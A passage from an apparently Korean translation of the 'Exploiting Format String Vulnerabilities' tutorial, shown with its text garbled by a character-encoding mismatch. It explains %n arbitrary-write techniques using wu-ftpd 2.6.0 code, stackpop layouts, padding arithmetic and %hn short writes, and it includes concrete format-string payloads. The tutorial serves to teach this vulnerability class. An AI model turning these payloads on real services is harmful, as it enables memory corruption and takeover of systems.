¶óÀ̺귯¸®ÀÇ Á¸À縦 È®ÀÎÇÏ´Â ÇÑ ¹æ¹ýÀÌ´Ù. ¸¸¾à %.nd¸¦ »ç¿ëÇÏ¸é ¾ÆÁÖ ³ôÀº °ªÀÌ »ç¿ëµÇ´Â °ÍÀ» Á¦¿ÜÇÏ°í ±×°ÍÀº ÀûÀýÇÏ°Ô ÀÛµ¿ÇÑ´Ù. %nd¿Í %.nd¿¡¼­ »ç¿ëÇÒ ¼ö ÀÖ´Â ±æÀÌ¿¡ ´ëÇØ Á»´õ ±í°Ô ¾Ë¾Æº¸·Á¸é portal, ¡°Format String Exploitation Demystified,¡±(preliminary version 21, not yet published, http://www.security.is/)¸¦ Âü°íÇØ¶ó. 3.4.2. °ø°Ý - ¼ø¼ö Æ÷¸Ë ½ºÆ®¸µÀ» ÅëÇÑ °ø°Ý ¸¸¾à ¿ì¸®°¡ ¹æ±Ý ¾ð±ÞµÈ ±× °£´ÜÇÑ °ø°Ý ¹æ¹ýÀ» Àû¿ëÇÒ °¡´ÉÇÑ ¹æ¹ýÀ» °¡Áö°í ÀÖÁö ¾Ê´Ù°í ÇØµµ, ¿ì¸®´Â ¿©ÀüÈ÷ ±× ÇÁ·Î¼¼½º¸¦ ÀͽºÇ÷ÎÀÕÇÒ ¼ö ÀÖ´Ù. ±×·¸°Ô ÇÔÀ¸·Î½á ¿ì¸®´Â ½ÇÁ¦ ½ÇÇà ÅëÁ¦¿¡ ¾ÆÁÖ Á¦ÇÑµÈ ÅëÁ¦¸¦ È®ÀåÇϰí, ±×°ÍÀº ¿ì¸®ÀÇ ½Ã½ºÅÛ Äڵ带 ½ÇÇàÇÑ´Ù. wu-ftpd 2.6.0¿¡¼­ ¹ß°ßµÇ´Â ´ÙÀ½°ú °°Àº Äڵ带 º¸ÀÚ. { char buffer[512]; snprintf (buffer, sizeof (buffer), user); buffer[sizeof (buffer) - 1] = '\0'; } À§ÀÇ Äڵ忡¼­ ¾î¶² Á¾·ùÀÇ ¡®½ºÆ®·¹Äª¡¯ Æ÷¸Ë ÆÄ¶ó¹ÌÅ͸¦ »ðÀÔÇÔÀ¸·Î½á ¿ì¸®ÀÇ ¹öÆÛ¸¦ È®´ëÇÏ´Â °ÍÀÌ °¡´ÉÇÏÁö ¾Ê´Ù. ¿Ö³ÄÇÏ¸é ±× ÇÁ·Î±×·¥Àº ¿ì¸®°¡ ¹öÆÛ¸¦ ÃʰúÇÒ ¼ö ¾ø´Ù´Â °ÍÀ» È®½ÅÇϱâ À§ÇØ ¾ÈÀüÇÑ snprintf ÇÔ¼ö¸¦ »ç¿ëÇϱ⠶§¹®ÀÌ´Ù. óÀ½¿¡´Â ¸¶Ä¡ ¿ì¸®°¡ ÇÁ·Î±×·¥À» ´Ù¿î½ÃŰ°í ¾à°£ÀÇ ¸Þ¸ð¸®¸¦ Á¡°ËÇÏ´Â °ÍÀ» Á¦¿ÜÇϰí À¯¿ëÇÑ ÀÏÀ» ¸¹ÀÌ ÇÒ ¼ö ¾ø´Â °Íó·³ º¸ÀδÙ. ¾Õ¿¡¼­ ¾ð±ÞµÈ Æ÷¸Ë ÆÄ¶ó¹ÌÅ͸¦ ±â¾ïÇÏÀÚ. ¡®%n' ÆÄ¶ó¹ÌÅͰ¡ Àִµ¥, À̰ÍÀº ÀÌ¹Ì ÇÁ¸°ÅÍµÈ ¹ÙÀÌÆ®ÀÇ ¼ö¸¦ ¿ì¸®°¡ ¼±ÅÃÇÑ º¯¼ö¿¡ ¾µ ¼ö ÀÖ´Ù. ±× º¯¼öÀÇ ÁÖ¼Ò´Â ÆÄ¶ó¹ÌÅͷμ­ Á¤¼ö Æ÷ÀÎÅ͸¦ ½ºÅÃ»ó¿¡ À§Ä¡½ÃÅ´À¸·Î½á Æ÷¸Ë ÇÔ¼ö¿¡ ÁÖ¾îÁø´Ù. int i; printf ("foobar%n\n", (int *) &i); printf ("i = %d\n", i); À̰ÍÀº ¡°i = 6"À» ÇÁ¸°ÅÍÇÒ °ÍÀÌ´Ù. ÀÓÀÇÀÇ ÁּҷκÎÅÍ ¸Þ¸ð¸®¸¦ ÀμâÇϱâ À§ÇØ À§¿¡¼­ »ç¿ëÇÑ °°Àº ¹æ¹ýÀ¸·Î ¿ì¸®´Â ÀÓÀÇÀÇ À§Ä¡¿¡ ¾µ ¼ö ÀÖ´Ù. "AAA0_%08x.%08x.%08x.%08x.%08x.%n" ¡®%08x' ÆÄ¶ó¹ÌÅÍ·Î ¿ì¸®´Â Æ÷¸Ë ÇÔ¼öÀÇ ³»ºÎ ½ºÅà Æ÷ÀÎÅ͸¦ 4 ¹ÙÀÌÆ® Áõ°¡½Ãų ¼ö ÀÖ´Ù. ¿ì¸®´Â ÀÌ Æ÷ÀÎÅͰ¡ ¿ì¸®ÀÇ Æ÷¸Ë ½ºÆ®¸µÀÇ ½ÃÀÛ ºÎºÐ(AAA0)À» °¡¸®Å³ ¶§±îÁö À̰ÍÀ» ÇÑ´Ù. À̰ÍÀº Á¦´ë·Î ÀÛµ¿Çϴµ¥, º¸Åë ¿ì¸®ÀÇ Æ÷¸Ë ½ºÆ®¸µÀÌ ½ºÅÃ(¿ì¸®ÀÇ ÀϹÝÀûÀÎ Æ÷¸Ë ÇÔ¼ö ½ºÅà ÇÁ·¹ÀÓÀÇ Á¤»ó)¿¡ À§Ä¡Çϱ⠶§¹®ÀÌ´Ù. ¡¯%n'Àº ÁÖ¼Ò 0x30414141¿¡ ¾²´Âµ¥, ±×°ÍÀº ½ºÆ®¸µ ¡®AAA0'¿¡ ÀÇÇØ Ç¥ÇöµÈ °ÍÀÌ´Ù. º¸Åë À̰ÍÀº ÇÁ·Î±×·¥À» ´Ù¿î½Ã۴µ¥, ÀÌ ÁÖ¼Ò°¡ ¸ÅÇεÇÁö ¾Ê¾Ò±â ¶§¹®ÀÌ´Ù. ÇÏÁö¸¸ ¸¸¾à ¿ì¸®°¡ Á¤È®ÇÏ°Ô ¸ÊÇÎµÇ°í ¾²¿©Áú ¼ö ÀÖ´Â ÁÖ¼Ò¸¦ °ø±ÞÇϸé À̰ÍÀº ÀÛµ¿Çϰí, ¿ì¸®´Â ±× ÁÖ¼Ò¿¡ 4 ¹ÙÀÌÆ®(sizeof(int))¸¦ µ¤¾î¾µ ¼ö ÀÖ´Ù. "\xc0\xc8\xff\xbf_%08x.%08x.%08x.%08x.%08x.%n" À§ÀÇ Æ÷¸Ë ½ºÆ®¸µÀº ÀÛÀº Á¤¼ö·Î 0xbfffc8c0¿¡ 4¹ÙÀÌÆ®¸¦ µ¤¾î¾µ °ÍÀÌ´Ù. ¿ì¸®´Â ¿ì¸®ÀÇ ¸ñÇ¥ Áß¿¡¼­ Çϳª¿¡ µµ´ÞÇß´Ù. Áï, ¿ì¸®´Â ÀÓÀÇÀÇ ÁÖ¼Ò¿¡ ¾µ ¼ö ÀÖ´Ù. ÇÏÁö¸¸ ¿ì¸®´Â ¿ì¸®°¡ ¾²°í ÀÖ´Â ¼ö¸¦ ÅëÁ¦ÇÒ ¼ö ¾øÁö¸¸ À̰ÍÀº ¹Ù²ð °ÍÀÌ´Ù. ¿ì¸®°¡ ¾²´Â ³Ñ¹ö, Áï Æ÷¸Ë ÇÔ¼ö¿¡ ÀÇÇØ¼­ ¾²¿©Áø ¹®ÀÚÀÇ ¼ö´Â Æ÷¸Ë ½ºÆ®¸µ¿¡ ÀÇÁ¸ÇÑ´Ù. ¿ì¸®°¡ Æ÷¸Ë ½ºÆ®¸µÀ» ÅëÁ¦Çϱ⠶§¹®¿¡ ¿ì¸®´Â Àû¾îµµ ÀÌ Ä«¿îÅÍ¿¡ ¿µÇâÀ» ÁÙ ¼ö ÀÖ´Ù. int a; printf ("%10u%n", 7350, &a); /* a == 10 */ int a; printf ("%150u%n", 7350, &a); /* a == 150 */ ´õ¹Ì ÆÄ¶ó¹ÌÅÍ ¡®%nu¡¯¸¦ »ç¿ëÇÏ¿© ¿ì¸®´Â ¡®%n¡¯¿¡ ÀÇÇØ¼­ ¾²¿©Áø Ä«¿îÅ͸¦ ÅëÁ¦ÇÒ ¼ö ÀÖ´Ù. ÇÏÁö¸¸ ±×¿Í °°Àº ÁÖ¼Òó·³ Å« ¼ö¸¦ ¾²´Â °ÍÀÌ ÃæºÐÇÏÁö ¾Ê±â ¶§¹®¿¡ ¿ì¸®´Â ÀÓÀÇÀÇ µ¥ÀÌÅ͸¦ ¾²±â À§ÇÑ ¹æ¹ýÀ» ã¾Æ¾ß¸¸ ÇÑ´Ù. x86 ¾ÆÅ°ÅØÃ³¿¡¼­ Á¤¼ö´Â 4¹ÙÀÌÆ®·Î ÀúÀåµÇ°í, °¡Àå ´ú Áß¿äÇÑ °ÍÀº ¸Þ¸ð¸®¿¡¼­ ù ¹øÂ° °ÍÀÌ´Ù. ±×·¡¼­ 0x0000014c¿Í °°Àº ¼ö´Â ¸Þ¸ð¸®¿¡ ¡°\x4c\x01\x00\x00¡±Ã³·³ ÀúÀåµÈ´Ù. Æ÷¸Ë ÇÔ¼öÀÇ Ä«¿îÅÍ¿¡ ´ëÇØ¼­´Â ¿ì¸®°¡ °¡Àå ´ú Áß¿äÇÑ ¹ÙÀÌÆ®¸¦ ÅëÁ¦ÇÒ ¼ö ÀÖÀ¸¸ç, ù ¹øÂ° ¹ÙÀÌÆ®´Â ±×°ÍÀ» º¯°æÇϱâ À§ÇØ ´õ¹Ì ¡®%nu' ÆÄ¶ó¹ÌÅ͸¦ »ç¿ëÇÏ¿© ¸Þ¸ð¸®¿¡ ÀúÀåµÈ´Ù. ¿¹: unsigned char foo[4]; printf ("%64u%n", 7350, (int *) foo); printf ÇÔ¼ö°¡ ¸®Å쵃 ¶§, foo[0]Àº \x40À» Æ÷ÇÔÇϰí ÀÖÀ¸¸ç, ±×°ÍÀº Ä«¿îÅ͸¦ Áõ°¡½Ã۱â À§ÇØ »ç¿ëÇß´ø 64¿Í µ¿ÀÏÇÏ´Ù. ÇÏÁö¸¸ ÁÖ¼Ò¿¡ ´ëÇØ¼­´Â ¿ì¸®°¡ ¿ÏÀüÈ÷ ÅëÁ¦ÇؾßÇÏ´Â 4¹ÙÀÌÆ®°¡ ÀÖ´Ù. ¸¸¾à ¿ì¸®°¡ Áï½Ã 4¹ÙÀÌÆ®¸¦ ¾µ ¼ö ¾ø´Ù¸é ¿ì¸®´Â ³× ¹ø¿¡ °ÉÃÄ Çѹø¾¿ 1¹ÙÀÌÆ®¾¿ ¾²µµ·Ï ³ë·ÂÇÒ ¼ö´Â ÀÖ´Ù. ´ëºÎºÐÀÇ CISC ¾ÆÅ°ÅØÃ³¿¡¼­´Â Á¤·ÄµÇÁö ¾ÊÀº ÀÓÀÇÀÇ ÁÖ¼Ò¿¡ ¾²´Â °ÍÀÌ °¡´ÉÇÏ´Ù. À̰ÍÀº µÎ ¹øÂ°·Î ´ú Áß¿äÇÑ ¸Þ¸ð¸®ÀÇ ¹ÙÀÌÆ®¸¦ ¾²´Âµ¥ »ç¿ëµÉ ¼ö ÀÖÀ¸¸ç, ±×°÷¿¡ ±× ÁÖ¼Ò°¡ ÀúÀåµÈ´Ù. À̰ÍÀº ´ÙÀ½°ú °°´Ù. unsigned char canary[5]; unsigned char foo[4]; memset (foo, '\x00', sizeof (foo)); /* 0 * before */ strcpy (canary, "AAAA"); /* 1 */ printf ("%16u%n", 7350, (int *) &foo[0]); /* 2 */ printf ("%32u%n", 7350, (int *) &foo[1]); /* 3 */ printf ("%64u%n", 7350, (int *) &foo[2]); /* 4 */ printf ("%128u%n", 7350, (int *) &foo[3]); /* 5 * after */ printf ("%02x%02x%02x%02x\n", foo[0], foo[1], foo[2], foo[3]); printf ("canary: %02x%02x%02x%02x\n", canary[0], canary[1], canary[2], canary[3]); Ãâ·Â ¡°10204080¡±¿Í ¡°canary: 00000041¡±À» ¸®ÅÏÇß´Ù. ¿ì¸®´Â ¿ì¸®°¡ Áö½ÃÇÑ Á¤¼öÀÇ °¡Àå ´ú Áß¿äÇÑ ¹ÙÀÌÆ®¸¦ ³× ¹ø µ¤¾î½è´Ù. ¸Å¹ø Æ÷ÀÎÅ͸¦ Áõ°¡½ÃÅ´À¸·Î½á °¡Àå ´ú Áß¿äÇÑ ¹ÙÀÌÆ®´Â ¿ì¸®°¡ ¾²°íÀÚ ¿øÇÏ´Â ¸Þ¸ð¸®¸¦ ÅëÇØ À̵¿Çϸç, ±×¸®°í ¿ÏÀüÈ÷ ÀÓÀÇÀÇ µ¥ÀÌÅ͸¦ ¿ì¸®°¡ ÀúÀåÇϵµ·Ï Çã¿ëÇÑ´Ù. [º¸±â1]ÀÇ Ã¹ ÁÙ¿¡¼­ º¼ ¼ö ÀÖµíÀÌ ¸ðµç 8¹ÙÀÌÆ®´Â ¿ì¸®ÀÇ µ¤¾î ¾²¿©Áø Äڵ忡 ÀÇÇØ ¾ÆÁ÷ ¿µÇâÀ» ¹ÞÁö ¾Ê°í ÀÖ´Ù. µÎ ¹øÂ° ÁÙºÎÅÍ ³× ¹ø µ¤¾î¾²°í, 1 ¹ÙÀÌÆ®¾¿ ¿À¸¥ÂÊÀ¸·Î ¸Å¹ø À̵¿ÇÑ´Ù. ¸¶Áö¸· ÁÙÀº ¸¶Áö¸·À¸·Î ¹Ù¶ó´Â »óŸ¦ º¸¿©Áִµ¥, foo ¹è¿­ÀÇ ¸ðµç 4¹ÙÀÌÆ®¸¦ µ¤¾î½è´Ù. ÇÏÁö¸¸ ±×·¸°Ô ÇÏ´Â µ¿¾È ¿ì¸®´Â canary ¹è¿­ÀÇ 3 ¹ÙÀÌÆ®¸¦ ÆÄ±«Çß´Ù. [º¸±â1] ÁÖ¼ÒÀÇ 4´Ü°è µ¤¾î¾²±â 0 00 00 00 00 41 41 41 41 00 ÀÌÀü 1 10 00 00 00 41 41 41 41 00 2 10 20 00 00 00 41 41 41 00 3 10 20 40 00 00 00 41 41 00 4 10 20 40 80 00 00 00 41 00 5 10 20 40 80 00 00 00 41 00 ÀÌÈÄ ºñ·Ï ÀÌ ¹æ¹ýÀÌ º¹ÀâÇÏ°Ô º¸ÀÌÁö¸¸ ÀÓÀÇÀÇ ÁÖ¼Ò¿¡ ÀÓÀÇÀÇ µ¥ÀÌÅ͸¦ µ¤¾î¾²±â À§ÇØ »ç¿ëµÉ ¼ö ÀÖ´Ù. ¼³¸íÀ» À§ÇØ ¿ì¸®´Â Áö±Ý±îÁö Æ÷¸Ë ½ºÆ®¸µ ´ç ÇϳªÀÇ ¾²±â¸¦ »ç¿ëÇßÁö¸¸, ÇϳªÀÇ Æ÷¸Ë ½ºÆ®¸µ ³»¿¡ ¿©·¯ ¹ø ¾²´Â °Íµµ ¿ª½Ã °¡´ÉÇÏ´Ù. strcpy (canary, "AAAA"); printf ("%16u%n%16u%n%32u%n%64u%n", 1, (int *) &foo[0], 1, (int *) &foo[1], 1, (int *) &foo[2], 1, (int *) &foo[3]); printf ("%02x%02x%02x%02x\n", foo[0], foo[1], foo[2], foo[3]); printf ("canary: %02x%02x%02x%02x\n", canary[0], canary[1], canary[2], canary[3]); ¿ì¸®´Â ¡®%u' padding¿¡ ´õ¹Ì µ¶¸³º¯¼ö·Î¼­ ¡¯1¡® ÆÄ¶ó¹ÌÅ͸¦ »ç¿ëÇÑ´Ù. ¶ÇÇÑ, ¿ì¸®°¡ 32¸¦ ¾²°íÀÚ ¿øÇÒ ¶§ ¹®ÀÚµéÀÇ Ä«¿îÅͰ¡ ÀÌ¹Ì 16¿¡ Àֱ⠶§¹®¿¡ ±× paddingÀº º¯Çß´Ù. ±×·¡¼­ ¿ì¸®°¡ ¿øÇÏ´Â °á°ú¸¦ ¾ò±â À§ÇØ ´ÜÁö ±×°Í¿¡ 32 ´ë½Å 16°³ÀÇ ¹®ÀÚ¸¦ Ãß°¡ÇÏ¸é µÈ´Ù. À̰ÍÀº Ưº°ÇÑ °æ¿ì¿´´Âµ¥, ¸ðµç ¹ÙÀÌÆ®°¡ ¾²±â¸¦ ÅëÇØ Áõ°¡Çß´Ù. ÇÏÁö¸¸ ¿ì¸®´Â ¹Ì¹ÌÇÑ ¼öÁ¤À¸·Î 80 40 20 10À» ¶ÇÇÑ ¾µ ¼ö ÀÖ¾ú´Ù. ¿ì¸®°¡ Á¤¼ö¸¦ ¾²°í, ±× ¼ø¼­°¡ ¾à°£ endian(ÀÌ ´Ü¾îÀÇ ¶æÀº ¸ð¸£°ÚÀ½. »çÀü¿¡µµ ³ª¿ÀÁö ¾Ê°í...)Çϱ⠶§¹®¿¡, ´ÜÁö °¡Àå ´ú Áß¿äÇÑ ¹ÙÀÌÆ®¸¸ÀÌ ¾²±â¿¡¼­ Áß¿äÇÏ´Ù. ¡®%n'ÀÌ Æ®¸®°ÅµÉ ¶§ °¢°¢ 0x80, 0x140, 0x220 ±×¸®°í 0x310 ¹®ÀÚÀÇ Ä«¿îÅ͸¦ »ç¿ëÇÔÀ¸·Î½á ¿ì¸®´Â ¿øÇÏ´Â ½ºÆ®¸µÀ» ¸¸µé ¼ö ÀÖ´Ù. ¹Ù¶ó´Â number-of-written-chars Ä«¿îÅ͸¦ °è»êÇϱâ À§ÇÑ ÄÚµå´Â ´ÙÀ½°ú °°´Ù. write_byte += 0x100; already_written %= 0x100; padding = (write_byte - already_written) % 0x100; if (padding < 10) padding += 0x100; ¡®write_byte¡¯°¡ ¿ì¸®°¡ ¸¸µé±â ¿øÇÏ´Â ¹ÙÀÌÆ®ÀÎ °÷¿¡ ÀÌ¹Ì ¡®already_written¡¯Àº Æ÷¸Ë ÇÔ¼ö°¡ Æ÷ÇÔÇϰí ÀÖ´Â ¾²¿©Áø ¹ÙÀÌÆ®ÀÇ ÇöÀç Ä«¿îÅÍÀ̸ç, 'padding'Àº ¿ì¸®°¡ Ä«¿îÅ͸¦ Áõ°¡½ÃÄѾßÇÏ´Â ¹ÙÀÌÆ®ÀÇ ¼öÀÌ´Ù. ¿¹: write_byte = 0x7f; already_written = 30; write_byte += 0x100; /* write_byte is 0x17f now */ already_written %= 0x100; /* already_written is 30 */ /* afterwards padding is 97 (= 0x61) */ padding = (write_byte - already_written) % 0x100; if (padding < 10) padding += 0x100; ÀÌÁ¦ "%97u"ÀÇ Æ÷¸Ë ½ºÆ®¸µÀº ¡¯%n"-counter¸¦ Áõ°¡½Ã۰í, ±×·¡¼­ °¡Àå ´ú Áß¿äÇÑ ¹ÙÀÌÆ®´Â write_byte¿Í µ¿ÀÏÇÏ´Ù. ¸¸¾à paddingÀÌ 10 ÀÌÇÏÀÏ °æ¿ì ¸¶Áö¸· È®ÀÎÀº ÁÖÀǸ¦ ¿äÇÑ´Ù. ¡®%u'¿Í °°Àº °£´ÜÇÑ Á¤¼ö Ãâ·ÂÀº ±×°ÍÀÌ Ãâ·ÂÇÏ´Â Á¤¼ö¿¡ µû¶ó 10 °³ÀÇ ¹®ÀÚ ±æÀÌÀÇ ½ºÆ®¸µÀ» »ý¼ºÇÒ ¼ö ÀÖ´Ù. ¸¸¾à ÇÊ¿äÇÑ ±æÀ̰¡ ¿ì¸®°¡ ÁöÁ¤ÇÑ paddingº¸´Ù ´õ Å©´Ù¸é, Áï ¿ì¸®°¡ ÇϳªÀÇ ¡¯%2u'·Î ¡®1000¡¯À» Ãâ·ÂÇϰíÀÚ ¿øÇÑ´Ù¸é ¿ì¸®ÀÇ °ªÀº ¾î¶² ÀǹÌÀÖ´Â Ãâ·ÂÀ» ÀÒÁö ¾Ê±â À§ÇØ ¶³¾îÁú °ÍÀÌ´Ù. ¿ì¸®ÀÇ paddingÀÌ Ç×»ó 10º¸´Ù ´õ Å©´Ù´Â °ÍÀ» È®ÀÎÇϱâ À§ÇØ ¿ì¸®´Â Ç×»ó Á¤È®ÇÑ already_writtenÀÇ ¼ö¿Í Æ÷¸Ë ÇÔ¼ö°¡ Æ÷ÇÔÇϰí ÀÖ´Â Ä«¿îÅ͸¦ À¯ÁöÇÒ ¼ö ÀÖ´Ù. ¿Ö³ÄÇÏ¸é ¿ì¸®´Â Æ÷¸Ë ÆÄ¶ó¹ÌÅÍÀÇ ±æÀÌ ¿É¼ÇÀ¸·Î ÁöÁ¤µÈ ¸¸Å­ÀÇ Ãâ·Â ¹ÙÀÌÆ®¸¦ Ç×»ó ¾²±â ¶§¹®ÀÌ´Ù. ±×¿Í °°Àº Ãë¾àÁ¡À» ÀͽºÇ÷ÎÀÕÇϱâ À§ÇØ ³²Àº À¯ÀÏÇÑ °ÍÀº ½ºÅÿ¡ ¿Ã¹Ù¸¥ ¼ø¼­·Î µ¶¸³º¯¼ö¸¦ ÀÔ·ÂÇϰí, ±× ½ºÅà Æ÷ÀÎÅ͸¦ Áõ°¡½Ã۱â À§ÇØ stackpop ½ÃÄý½Ã¸¦ »ç¿ëÇÏ´Â °ÍÀÌ´Ù. ±×°ÍÀº ´ÙÀ½°ú °°´Ù. A stackpop: ½ºÅà Æ÷ÀÎÅ͸¦ Áõ°¡½ÃŰ´Â ½ºÅà popping ÆÄ¶ó¹ÌÅÍÀÇ ½ÃÄö½Ã. ÀÏ´Ü stackpopÀÌ Ã³¸®µÇ¸é Æ÷¸Ë ÇÔ¼ö ³»ºÎ ½ºÅà Æ÷ÀÎÅÍ´Â dummy-addr-pair ½ºÆ®¸µÀÇ ½ÃÀÛ ºÎºÐÀ» °¡¸®Å²´Ù. dummy-addr-pair: ¾²±â À§ÇÑ ³× ½ÖÀÇ ´õ¹Ì Á¤¼ö °ª ¹× ÁÖ¼Ò. ÀÌ ÁÖ¼Ò´Â °¢ ½Ö¿¡¼­ 1¾¿ Áõ°¡Çϰí, ´õ¹Ì Á¤¼ö °ªÀº NUL ¹ÙÀÌÆ®¸¦ Æ÷ÇÔÇÏÁö ¾ÊÀº ¾î¶² °Íµµ µÉ ¼ö ÀÖ´Ù. write-code: ¡®%nu%n' ½ÖÀ» ÀÌ¿ëÇØ ¸Þ¸ð¸®¿¡ ½ÇÁ¦ ¾²´Â Æ÷¸Ë ½ºÆ®¸µÀÇ ºÎºÐÀ¸·Î, nÀÌ 10º¸´Ù ´õ Å©´Ù. ù ºÎºÐÀº Æ÷¸Ë ÇÔ¼ö ³»ºÎ bytes-written Ä«¿îÅÍÀÇ °¡Àå ´ú Áß¿äÇÑ ¹ÙÀÌÆ®¸¦ Áõ°¡½ÃŰ°Å³ª ¿À¹öÇ÷οì½Ã۴µ¥ »ç¿ëµÇ°í, ¡¯%n'Àº ÀÌ Ä«¿îÅ͸¦ ½ºÆ®¸µÀÇ dummy-addr-pair ºÎºÐ ³»¿¡ ÀÖ´Â ÁÖ¼Ò¿¡ ¾²±â À§ÇØ »ç¿ëµÈ´Ù. ¾²±â ÄÚµå´Â stackpop¿¡ ÀÇÇØ¼­ ¾²¿©Áø ¹ÙÀÌÆ®ÀÇ ¼ö¿¡ ¸Âµµ·Ï ¼öÁ¤µÇ¾î¾ß Çϴµ¥, stackpopÀº Æ÷¸Ë ÇÔ¼ö°¡ write-code¸¦ ºÐ¼®ÇÒ ¶§ Ãâ·Â°ª¿¡ ÀÌ¹Ì ¹®ÀÚµéÀ» ½è´Ù. Æ÷¸Ë ÇÔ¼ö Ä«¿îÅÍ´Â 0¿¡¼­ ½ÃÀÛÇÏÁö ¾ÊÀ¸¸ç, À̰ÍÀº °í·ÁµÇ¾î¾ß ÇÑ´Ù. ¿ì¸®°¡ ¾²´Â ÁÖ¼Ò´Â Return Address Location(ÁÙ¿©¼­ retloc)À̶ó°í ºÒ¸®¸ç, À̰÷¿¡ Æ÷¸Ë ½ºÆ®¸µÀ¸·Î ¸¸µç ÁÖ¼Ò´Â Return Address(ÁÙ¿©¼­ retaddr)À̶ó°í ºÒ¸°´Ù. ****************************************************************************************** ÀÌ ¹®¼­´Â team-tesoÀÇ scut°¡ ÀÛ¼ºÇÑ ¡°Exploiting Format String Vulnerabilities¡±À» ¹ø¿ª ¹× ÆíÁýÀ» ÅëÇØ ÀÛ¼ºÇÑ °ÍÀÌ´Ù. ¹èÆ÷´Â ÀÚÀ¯·Ó°Ô ÇÒ ¼ö ÀÖÀ¸¸ç, Ãâó¸¦ ¹Ýµå½Ã ¹àÇôÁÖ±æ ¹Ù¶õ´Ù. ¿ÀŸ ¹× ¿À·ù°¡ ÀÖÀ¸¸é ÁöÀûÇØÁֽñæ... ¿ø¹®Àº http://www.wowsecurity.net/source/formatstring.pdf¸¦ Âü°íÇϽñæ. Á¦¸ñ: Æ÷¸Ë ½ºÆ®¸µ Ãë¾àÁ¡ °ø°Ý(¹öÀü: 1.2) ¹ø¿ª ¹× ÆíÁý: vangelis(http://www.wowhacker.org) ****************************************************************************************** 4. º¯ÇüµÈ °ø°Ý °ø°ÝÀº ±â¼úÀÌ´Ù. ´Ù¸¥ ±â¼ú¿¡¼­¿Í ¸¶Âù°¡Áö·Î ¾î¶² ÀÏÀ» ¿Ï¼öÇϴµ¥´Â ÇÑ °¡Áö ÀÌ»óÀÇ ¹æ¹ýÀÌ ÀÖ´Ù. ´ÙÀ½Àº ¿©·¯ ¹æ¹ý Áß¿¡¼­ ´ÜÁö ±âº»ÀûÀÎ Å×Å©´Ð¿¡ ´ëÇØ ¾ð±ÞÇÑ °ÍÀÌ´Ù. 4.1 Short Write ³× ¹øÀ» ¾²´Â °Í ´ë½Å¿¡ ´ÜÁö µÎ ¹ø ¸¸À¸·Î ÇϳªÀÇ ÁÖ¼Ò¸¦ µ¤¾î¾²´Â °ÍÀÌ °¡´ÉÇÏ´Ù. À̰ÍÀº Å« ¡®n' °ªÀ¸·Î ¡¯%nu' ½ºÆ®¸µ°ú ÀϹÝÀûÀÎ ¡®%n' ÀÛµ¿À» ÅëÇØ °¡´ÉÇÏ´Ù. ÇÏÁö¸¸ ÀÌ Æ¯º°ÇÑ °æ¿ì¿¡ ¿ì¸®´Â Ưº°ÇÑ ¾²±â¸¦ ÀÌ¿ëÇÒ ¼ö Àմµ¥, ±×°ÍÀº ªÀº int ŸÀÔÀÎ ¡¯%hn' ÆÄ¶ó¹ÌÅ͸¦ ¾µ ¼ö ÀÖ´Ù. ¡®h'´Â ½ºÅà »ó¿¡ Á¦°øµÈ °ªÀ» ij½ºÆ®Çϱâ À§ÇØ ´Ù¸¥ Æ÷¸Ë ÆÄ¶ó¹ÌÅÍ¿¡¼­µµ »ç¿ëµÉ ¼ö ÀÖ´Ù. ª°Ô ¾²±â Å×Å©´ÐÀº ù ¹øÂ° Å×Å©´Ð¿¡ ºñÇØ ÇÑ °¡Áö ÀåÁ¡À» °¡Áö°í Àִµ¥, ±×°ÍÀº ±× ÁÖ¼Ò ¿·ÀÇ µ¥ÀÌÅ͸¦ ÆÄ±«ÇÏÁö ¾Ê´Â´Ù´Â °ÍÀ̸ç, ±×·¡¼­ ¸¸¾à ÇÔ¼ö ÆÄ¶ó¹ÌÅÍ¿Í °°Àº ´ç½ÅÀÌ µ¤¾î¾²´Â ÁÖ¼Ò µÚ¿¡ ÀÖ´Â ¼ÒÁßÇÑ µ¥ÀÌÅͰ¡ ÀÖ´Ù¸é ±×°ÍÀº º¸Á¸µÈ´Ù. ¸¸¾à ¾²¿©Áø charµéÀÇ ³»ºÎ Ä«¿îÅͰ¡ ¹öÆÛ °æ°è¸¦ ÃʰúÇÒ ¼ö ÀÖ´Ù¸é, ºñ·Ï ±×°ÍÀÌ ´ëºÎºÐÀÇ C ¶óÀ̺귯¸®¿¡ ÀÇÇØ Áö¿øµÈ´Ù°í ÇØµµ ±×°ÍÀ» ÇÇÇØ¾ß ÇÑ´Ù. ¿Ö³ÄÇÏ¸é ±×°ÍÀº Æ÷¸Ë ÇÔ¼öÀÇ ÇàÀ§¿¡ ÀÇÁ¸Çϱ⠶§¹®ÀÌ´Ù. À̰ÍÀº ¿À·¡µÈ GNU C ¶óÀ̺귯¸®(libc5)¿¡´Â ÀÛµ¿ÇÏÁö ¾Ê´Â´Ù. ¶ÇÇÑ ±×°ÍÀº Ÿ±ê ÇÁ·Î¼¼½ºÀÇ ¸Þ¸ð¸®¸¦ ´õ ¸¹ÀÌ ¼ÒºñÇÑ´Ù. printf ("%.29010u%hn%.32010u%hn", 1, (short int *) &foo[0], 1, (short int *) &foo[2]); À̰ÍÀº ¡®%n' µð·ºÆ¼ºê¿¡ ´ëÇØ Á¤·Ä Á¦ÇÑÀ» °¡Áø RISC ±â¹ÝÀÇ ½Ã½ºÅÛ¿¡ ƯÈ÷ À¯¿ëÇÏ´Ù. ªÀº ÇÑÁ¤¾î¸¦ »ç¿ëÇÔÀ¸·Î½á ±× Á¤·ÄÀº ¼ÒÇÁÆ®¿þ¾î³ª ¶Ç´Â Ưº°ÇÑ ½Ã½ºÅÛ Áö½ÃÀÚ°¡ »ç¿ëµÇ´Âµ¥ ¿¡¹Ä·¹ÀÌÆ®µÇ°í, ¿ì¸®´Â ¸Å 2 ¹ÙÀÌÆ® °æ°è¿¡ ¾µ ¼ö ÀÖ´Ù. ´õºÒ¾î ±×°ÍÀº Á¤È®ÇÏ°Ô 4 ¹ÙÀÌÆ® Å×Å©´Ðó·³ ÀÛµ¿ÇÑ´Ù. ¾î¶² »ç¶÷µéÀº ¡®%.3221219073u¡¯¿Í °°Àº ƯÈ÷ Å« paddingµéÀ» »ç¿ëÇÔÀ¸·Î½á Çѹø¿¡ ¾²´Â °ÍÀÌ °¡´ÉÇÏ´Ù°í ¸»Çϱ⵵ ÇÑ´Ù. ÇÏÁö¸¸ ½ÇÁ¦·Î ´ëºÎºÐÀÇ ½Ã½ºÅÛ¿¡´Â ÀÛµ¿ÇÏÁö ¾Ê´Â´Ù. ÀÌ ÁÖÁ¦¿¡ ´ëÇÑ ±íÀº ºÐ¼®Àº ´ÙÀ½¿¡¼­ º¼ ¼ö 